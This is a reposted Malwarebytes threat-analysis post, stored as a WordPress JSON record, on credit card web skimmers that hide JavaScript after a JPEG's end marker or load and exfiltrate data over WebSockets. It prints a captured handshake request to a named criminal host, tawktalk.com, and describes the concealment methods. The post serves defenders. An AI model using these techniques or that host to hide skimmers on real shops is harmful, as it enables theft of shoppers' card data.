{"id":17327,"date":"2020-01-02T09:10:09","date_gmt":"2020-01-02T17:10:09","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2020\/01\/02\/news-11063\/"},"modified":"2020-01-02T09:10:09","modified_gmt":"2020-01-02T17:10:09","slug":"news-11063","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2020\/01\/02\/news-11063\/","title":{"rendered":"New evasion techniques found in web skimmers"},"content":{"rendered":"<p><strong>Credit to Author: J\u00e9r\u00f4me Segura| Date: Mon, 30 Dec 2019 22:25:06 +0000<\/strong><\/p>\n<p>For a number of years, criminals have been able to steal credit card details from unaware online shoppers without attracting too much attention. Few people in the security industry were talking about these credit card web skimmers, both server-side and client-side, before the latter became largely known as <a rel=\"noreferrer noopener\" aria-label=\"Magecart (opens in a new tab)\" href=\"https:\/\/www.riskiq.com\/blog\/labs\/magecart-keylogger-injection\/\" target=\"_blank\">Magecart<\/a>.<\/p>\n<p>It took some major incidents, notably the <a rel=\"noreferrer noopener\" aria-label=\"Ticketmaster (opens in a new tab)\" href=\"https:\/\/www.riskiq.com\/blog\/labs\/magecart-ticketmaster-breach\/\" target=\"_blank\">Ticketmaster<\/a> and <a rel=\"noreferrer noopener\" aria-label=\"British Airways (opens in a new tab)\" href=\"https:\/\/www.riskiq.com\/blog\/labs\/magecart-british-airways-breach\/\" target=\"_blank\">British Airways<\/a> breaches, to put this growing threat under the spotlight and finally raise awareness among online merchants and consumers.<\/p>\n<p>Under pressure from greater scrutiny, in particular from a number of security researchers, some threat actors started to evolve their craft. This is a natural reaction, not limited to web skimmers, but one that applies to any malicious enterprise, cyber or not. <\/p>\n<p>One such recent evolution includes two new evasion techniques adapted for client-side web skimmers used to conceal their fraudulent activity. <\/p>\n<h3>Steganography: a picture worth a thousand secrets<\/h3>\n<p>Steganography has long been used by malware authors as a way to hide data within legitimate-looking images. Back in 2014, we described a new variant of the <a rel=\"noreferrer noopener\" aria-label=\"Zeus banking Trojan called ZeusVM (opens in a new tab)\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2014\/02\/hiding-in-plain-sight-a-story-about-a-sneaky-banking-trojan\/\" target=\"_blank\">Zeus banking Trojan called ZeusVM<\/a>, which was hiding its configuration data within a picture of a beautiful sunset.<\/p>\n<p>In the context of website security, hiding malicious code in picture files is a great way to go undetected. Take, for example, an e-commerce website and the various components it loads\u2014many of these will be logos, product images, and so forth.<\/p>\n<p>On December 26, <a rel=\"noreferrer noopener\" aria-label=\"@AffableKraut (opens in a new tab)\" href=\"https:\/\/twitter.com\/AffableKraut\" target=\"_blank\">@AffableKraut<\/a> <a rel=\"noreferrer noopener\" aria-label=\"disclosed (opens in a new tab)\" href=\"https:\/\/twitter.com\/AffableKraut\/status\/1210298763417276416?s=20\" target=\"_blank\">disclosed<\/a> the first publicly-documented steganography-based credit card skimmer. To the naked eye, the image looks like a typical free shipping ribbon that you commonly see on shopping sites.<\/p>\n<figure class=\"wp-block-image\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_.png\" data-rel=\"lightbox-0\" title=\"\"><img decoding=\"async\" data-attachment-id=\"41729\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/image_\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_.png\" data-orig-size=\"748,544\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image_\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_-300x218.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_-600x436.png\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_.png\" alt=\"\" class=\"wp-image-41729\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_.png 748w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_-300x218.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_-600x436.png 600w\" sizes=\"(max-width: 748px) 100vw, 748px\" \/><\/a><figcaption>Figure 1: A free shipping logo found on a shopping site<\/figcaption><\/figure>\n<p>The only indication that there might be something amiss is the fact that the file is malformed, with additional data found after the normal end of the the file.<\/p>\n<p>To better understand what and where this data might be, we can look at the image in a hex editor. The File Interchange Format (<a rel=\"noreferrer noopener\" aria-label=\"JFIF (opens in a new tab)\" href=\"https:\/\/en.wikipedia.org\/wiki\/JPEG_File_Interchange_Format\" target=\"_blank\">JFIF<\/a>) for the JPEG encoding has a specific structure. We used Ange Albertini&#8217;s <a rel=\"noreferrer noopener\" aria-label=\"diagram (opens in a new tab)\" href=\"https:\/\/twitter.com\/angealbertini\/status\/535157859135127552?s=20\" target=\"_blank\">diagram<\/a> as a guide.<\/p>\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-attachment-id=\"41730\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/image_part1\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_part1.png\" data-orig-size=\"1489,1020\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"image_part1\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_part1-300x206.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_part1-600x411.png\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_part1.png\" alt=\"\" class=\"wp-image-41730\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_part1.png 1489w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_part1-300x206.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/image_part1-600x411.png 600w\" sizes=\"(max-width: 1489px) 100vw, 1489px\" \/><figcaption>Figure 2: Looking at the image structure from the beginning of the file<\/figcaption><\/figure>\n<p>So far, the image meets its requirements, and there does not appear to be anything special about it. However, if we remember what we saw in Figure 1, extra data was added after the final segment, which has the marker FF D9.<\/p>\n<figure class=\"wp-block-image\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer.png\" data-rel=\"lightbox-1\" title=\"\"><img decoding=\"async\" data-attachment-id=\"41731\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/hidden_skimmer\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer.png\" data-orig-size=\"1496,1086\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"hidden_skimmer\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer-300x218.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer-600x436.png\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer.png\" alt=\"\" class=\"wp-image-41731\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer.png 1496w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer-300x218.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_skimmer-600x436.png 600w\" sizes=\"(max-width: 1496px) 100vw, 1496px\" \/><\/a><figcaption>Figure 3: Looking at the structure of the image, after the normal end of file<\/figcaption><\/figure>\n<p>Now we can see JavaScript code beginning immediately after the end of file marker. Looking at some of its strings such as <em>onestepcheckout<\/em> or <em>authorizenet<\/em>, we can deduce immediately that this is the credit-card skimming code.<\/p>\n<p>As it happens, the majority of web crawlers and scanners will concentrate on HTML and JavaScript files, and often ignore media files, which tend to be large and slow down processing. What better place to sneak in some code?<\/p>\n<p>Several years ago, there were <a rel=\"noreferrer noopener\" aria-label=\"major malvertising campaigns (opens in a new tab)\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2016\/03\/ofp\/\" target=\"_blank\">major malvertising campaigns<\/a> redirecting victims to the Angler exploit kit, one of the most advanced toolkits leveraged to infect users with malware. One threat actor used a similar technique by concealing fingerprinting code within a <a rel=\"noreferrer noopener\" aria-label=\"fake GIF image (opens in a new tab)\" href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/fingerprint.png\" target=\"_blank\" data-rel=\"lightbox-2\" title=\"\">fake GIF image<\/a>. At the time, this was the <em>cr\u00e8me de la cr\u00e8me<\/em> of malvertising techniques.<\/p>\n<p>In a sense, any file loaded directly or from a third party should be deemed suspicious. @AffableKraut links to an open source file scanning system called <a href=\"https:\/\/github.com\/target\/strelka\">Strelka<\/a> that may be helpful for defenders in detecting anomalous files.<\/p>\n<figure class=\"wp-block-image\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_stegano_.gif\" data-rel=\"lightbox-3\" title=\"\"><img decoding=\"async\" data-attachment-id=\"41777\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/block_stegano_\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_stegano_.gif\" data-orig-size=\"872,568\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"block_stegano_\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_stegano_-300x195.gif\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_stegano_-600x391.gif\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_stegano_.gif\" alt=\"\" class=\"wp-image-41777\"\/><\/a><figcaption>Figure 4: Malwarebytes blocking a skimmer using steganography<\/figcaption><\/figure>\n<h3>WebSockets instead of HTTP<\/h3>\n<p>WebSocket is a communication protocol that allows streams of data to be exchanged between a client and server over a single TCP connection. Therefore, WebSockets are different than the more commonly-known HTTP protocol, which consists of requests and responses to a server from a client.<\/p>\n<figure class=\"wp-block-image\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http.png\" data-rel=\"lightbox-4\" title=\"\"><img decoding=\"async\" data-attachment-id=\"41735\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/websocket_versus_http\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http.png\" data-orig-size=\"1501,671\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"websocket_versus_http\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http-300x134.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http-600x268.png\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http.png\" alt=\"\" class=\"wp-image-41735\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http.png 1501w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http-300x134.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http-600x268.png 600w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_versus_http-604x270.png 604w\" sizes=\"(max-width: 1501px) 100vw, 1501px\" \/><\/a><figcaption>Figure 5: Comparing WebSocket and HTTP protocols<\/figcaption><\/figure>\n<p>While WebSockets are advantageous for real-time data transfer, this is not the reason threat actors may be interested in them. For their particular use case, WebSockets provide a more covert way to exchange data than typical HTTP requests-responses.<\/p>\n<p>With web skimmers, there are certain artifacts we look for:<\/p>\n<ul>\n<li>Skimmer code injected directly into a compromised site (JavaScript in the DOM)<\/li>\n<li>Skimmer code loaded from an external resources (script tag with src attribute)<\/li>\n<li>Exfiltration of the stolen data (HTTP GET or HTTP POST requests with encoded data)<\/li>\n<\/ul>\n<p>However, WebSockets offer yet another way of exchanging data, as <a href=\"https:\/\/twitter.com\/AffableKraut\/status\/1206794642949193728?s=20\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\"found by @AffableKraut (opens in a new tab)\">found by @AffableKraut<\/a>. The first component is the skimming code itself, followed by the data exfiltration.<\/p>\n<p>The attackers do need to load a new WebSocket and that can be detected in the DOM. However, they were clever to obfuscate the code nicely enough that it completely blends in.<\/p>\n<figure class=\"wp-block-image\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss.png\" data-rel=\"lightbox-5\" title=\"\"><img decoding=\"async\" data-attachment-id=\"41737\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/hidden_wss\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss.png\" data-orig-size=\"1713,1162\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"hidden_wss\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss-300x204.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss-600x407.png\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss.png\" alt=\"\" class=\"wp-image-41737\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss.png 1713w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss-300x204.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/hidden_wss-600x407.png 600w\" sizes=\"(max-width: 1713px) 100vw, 1713px\" \/><\/a><figcaption>Figure 6: Malicious code that secretly loads the WebSocket<\/figcaption><\/figure>\n<p>The goal is to conceal a connection to a server controlled by the criminals over a WebSocket. Once this JavaScript code runs in the browser, it will trigger the following client handshake request:<\/p>\n<pre class=\"wp-block-preformatted\">GET https:\/\/tawktalk.com\/modernize\/css\/ HTTP\/1.1<br \/>Host: tawktalk.com<br \/>Connection: Upgrade<br \/>Pragma: no-cache<br \/>Cache-Control: no-cache<br \/>User-Agent: {removed}<br \/>Upgrade: websocket<br \/>Origin: https:\/\/www.{removed}.com<br \/>Sec-WebSocket-Version: 13<br \/>Accept-Encoding: gzip, deflate, br<br \/>Accept-Language: en-US,en;q=0.9<br \/>Sec-WebSocket-Key: {removed}<br \/>Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits<\/pre>\n<p>It will be followed by the server handshake response:<\/p>\n<pre class=\"wp-block-preformatted\">HTTP\/1.1 101 Switching Protocols<br \/>Server: nginx\/1.12.2<br \/>Date: {removed}<br \/>Connection: upgrade<br \/>Upgrade: websocket<br \/>Sec-WebSocket-Accept: {removed}<br \/>EndTime: {removed}<br \/>ReceivedBytes: 22296<br \/>SentBytes: 57928<\/pre>\n<p>Once this is established, a series of bidirectional messages will be exchanged between the client (victim&#8217;s browser) and server (malicious host). A larger Base64 encoded blurb is downloaded onto the client and processed as JavaScript code. This turns out to be the credit card skimming code.<\/p>\n<figure class=\"wp-block-image\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer.png\" data-rel=\"lightbox-6\" title=\"\"><img decoding=\"async\" data-attachment-id=\"41736\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/websocket_skimmer\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer.png\" data-orig-size=\"1364,778\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"websocket_skimmer\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer-300x171.png\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer-600x342.png\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer.png\" alt=\"\" class=\"wp-image-41736\" srcset=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer.png 1364w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer-300x171.png 300w, https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/websocket_skimmer-600x342.png 600w\" sizes=\"(max-width: 1364px) 100vw, 1364px\" \/><\/a><figcaption>Figure 7: The WebSocket messages, downloading the skimmer and then leaking CC data<\/figcaption><\/figure>\n<p>The following smaller messages are exfiltration attempts of form fields present on the checkout page. The data has been encrypted to make it less obvious. We can see that there are duplicates, just like what we also encounter with some traditional skimmers that trigger the exfiltration based on a repeated timer event.<\/p>\n<p>WebSockets were also used by another web threat, which at the time was making headlines almost daily: <a rel=\"noreferrer noopener\" aria-label=\"cryptojacking (opens in a new tab)\" href=\"https:\/\/blog.malwarebytes.com\/cybercrime\/2018\/02\/state-malicious-cryptomining\/\" target=\"_blank\">cryptojacking<\/a>. In this case, it wasn&#8217;t so much for concealment but efficiency, as the in-browser mining process had to send back hashes to the server for each new mining job. However, we did notice the use of WebSockets in tandem with proxies in order to evade detection.<\/p>\n<figure class=\"wp-block-image\"><a href=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_wss_.gif\" data-rel=\"lightbox-7\" title=\"\"><img decoding=\"async\" data-attachment-id=\"41778\" data-permalink=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/attachment\/block_wss_\/\" data-orig-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_wss_.gif\" data-orig-size=\"752,599\" data-comments-opened=\"1\" data-image-meta=\"{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}\" data-image-title=\"block_wss_\" data-image-description=\"\" data-medium-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_wss_-300x239.gif\" data-large-file=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_wss_-600x478.gif\" src=\"https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/block_wss_.gif\" alt=\"\" class=\"wp-image-41778\"\/><\/a><figcaption>Figure 8: Malwarebytes blocking a skimmer using WebSockets<\/figcaption><\/figure>\n<h3>Different tricks, same protection<\/h3>\n<p>The techniques described in this blog will no doubt cause headaches for defenders and give some threat actors additional time to carry on their activities without being disturbed. But as mentioned before, this kind of cat-and-mouse game was to be expected in the light of regular new publications on Magecart and web skimmers.<\/p>\n<p>There are other ways to hide and load malicious scripts. Although the technology is being retired, Flash Player via ActionScript was also a great vehicle for many malware campaigns. For instance, a famous redirection infrastructure called <a rel=\"noreferrer noopener\" aria-label=\"EITest (opens in a new tab)\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2014\/10\/exposing-the-flash-eitest-malware-campaign\/\" target=\"_blank\">EITest<\/a> used to have a SWF file that loaded a malicious iframe to an exploit kit.<\/p>\n<p>While the majority of malware authors will keep using traditional methods, more advanced actors will come up with new ways to evade detection. Some techniques may be targeted at researchers, while others may be intended to bypass web crawlers.<\/p>\n<p>At Malwarebytes, we continue to monitor the shift in this threat landscape to keep our users safe. Protection against web skimmers is available through our <a rel=\"noreferrer noopener\" aria-label=\"Malwarebytes software (opens in a new tab)\" href=\"https:\/\/www.malwarebytes.com\/\" target=\"_blank\">Malwarebytes software<\/a>.<\/p>\n<p><em>We would like to thank <a rel=\"noreferrer noopener\" aria-label=\"@AffableKraut (opens in a new tab)\" href=\"https:\/\/twitter.com\/AffableKraut\" target=\"_blank\">@AffableKraut<\/a> for sharing details about these skimming techniques.<\/em><\/p>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/\">New evasion techniques found in web skimmers<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n<p><a href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/\" target=\"bwo\" >https:\/\/blog.malwarebytes.com\/feed\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><strong>Credit to Author: J\u00e9r\u00f4me Segura| Date: Mon, 30 Dec 2019 22:25:06 +0000<\/strong><\/p>\n<table cellpadding='10'>\n<tr>\n<td valign='top' align='center'><a href='https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/' title='New evasion techniques found in web skimmers'><img src='https:\/\/blog.malwarebytes.com\/wp-content\/uploads\/2019\/12\/shutterstock_1039708483.jpg' border='0'  width='300px'  \/><\/a><\/td>\n<\/tr>\n<tr>\n<td valign='top' align='left'>As Magecart credit card skimmers become exposed by security researchers, their authors are refining evasion techniques to go undetected.<\/p>\n<p>Categories: <\/p>\n<ul class=\"post-categories\">\n<li><a href=\"https:\/\/blog.malwarebytes.com\/category\/threat-analysis\/\" rel=\"category tag\">Threat analysis<\/a><\/li>\n<\/ul>\n<p>Tags: <a href=\"https:\/\/blog.malwarebytes.com\/tag\/credit-card\/\" rel=\"tag\">credit card<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/magecart\/\" rel=\"tag\">Magecart<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/skimmer\/\" rel=\"tag\">skimmer<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/steganography\/\" rel=\"tag\">steganography<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/web-skimmers\/\" rel=\"tag\">web skimmers<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/websocket\/\" rel=\"tag\">websocket<\/a><a href=\"https:\/\/blog.malwarebytes.com\/tag\/wss\/\" rel=\"tag\">wss<\/a><\/p>\n<table width='100%'>\n<tr>\n<td align=right>\n<p><b>(<a href='https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/' title='New evasion techniques found in web skimmers'>Read more&#8230;<\/a>)<\/b><\/p>\n<\/td>\n<\/tr>\n<\/table>\n<\/td>\n<\/tr>\n<\/table>\n<p>The post <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\/threat-analysis\/2019\/12\/new-evasion-techniques-found-in-web-skimmers\/\">New evasion techniques found in web skimmers<\/a> appeared first on <a rel=\"nofollow\" href=\"https:\/\/blog.malwarebytes.com\">Malwarebytes Labs<\/a>.<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10488,10378],"tags":[14702,19622,19623,11039,10494,19624,23843,23844],"class_list":["post-17327","post","type-post","status-publish","format-standard","hentry","category-malwarebytes","category-security","tag-credit-card","tag-magecart","tag-skimmer","tag-steganography","tag-threat-analysis","tag-web-skimmers","tag-websocket","tag-wss"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/17327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=17327"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/17327\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=17327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=17327"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=17327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}